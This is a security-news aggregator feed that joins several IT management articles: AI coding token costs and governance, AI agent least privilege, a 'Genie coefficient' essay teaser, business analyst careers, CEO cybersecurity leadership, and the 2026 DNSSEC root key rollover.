<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]></title>
<description><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering t...]]></description>
<link>https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</guid>
<pubDate>Fri, 24 Jul 2026 13:41:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering to identity-layer access controls. Where we've collectively landed is that understanding the intent of]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in The Guardian.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a ne...]]></description>
<link>https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">The Guardian</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



